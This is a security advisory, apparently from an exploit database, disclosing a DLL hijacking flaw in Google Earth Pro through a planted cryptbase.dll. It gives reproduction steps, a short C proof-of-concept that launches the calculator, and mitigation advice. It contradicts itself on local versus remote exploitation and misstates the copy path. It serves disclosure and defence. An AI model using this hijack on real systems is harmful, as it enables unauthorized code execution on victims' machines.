Google earth pro - Insecure Library Loading/Code Execution

fr ZwX (FR) fr
Risk: High
Local: Yes
Remote: No

Document Title: =============== Google earth pro - Insecure Library Loading/Code Execution Product & Service Introduction: =============================== Google Earth is a virtual world map that allows you to view images, recorded by satellite, from most places on the planet. Whether the place visited is seen from space or a few feet above the ground, the accuracy of the photos is surprising. On the program: satellite images, maps, maps, relief images and 3D representations of buildings. (Copy of the Vendor Homepage: Date of Discovery: ================== 2018-09-08 Exploitation Technique: ======================= Remote Platfom Tested: =============== Windows 10 Technical Details & Description: ================================ A local Insecure Library Loading vulnerability has been discovered in the official Google earth pro software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the affected software to followup with manipulations. Vulnerable Software: [+] Google earth pro Vulnerable version(s): [+] Affected Libraries: [+] cryptbase.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. the attacker will be able to take control of a computer and execute in the background a trojan horse or a ransonmware for example. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll 2. Rename the dynamic link library to cryptbase.dll 3. Copy cryptbase.dll to C:\Program Files\Google\Google Earth Pro\client\googleearth.exe 4. Launch googleearth.exe 5. Now the calculator executes! -- PoC Exploit -- #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void HrCreateConverter() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; } Solution – Fix & Patch: ======================= 1/ Whenever possible, use a full path when loading a library. 2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’ 3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order. 4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API. Credits & Authors: ================== Social: Contact : [#] Disclaimer: =============== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Copyright © 2018 | ZwX - Security Researcher (Software & web application)


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top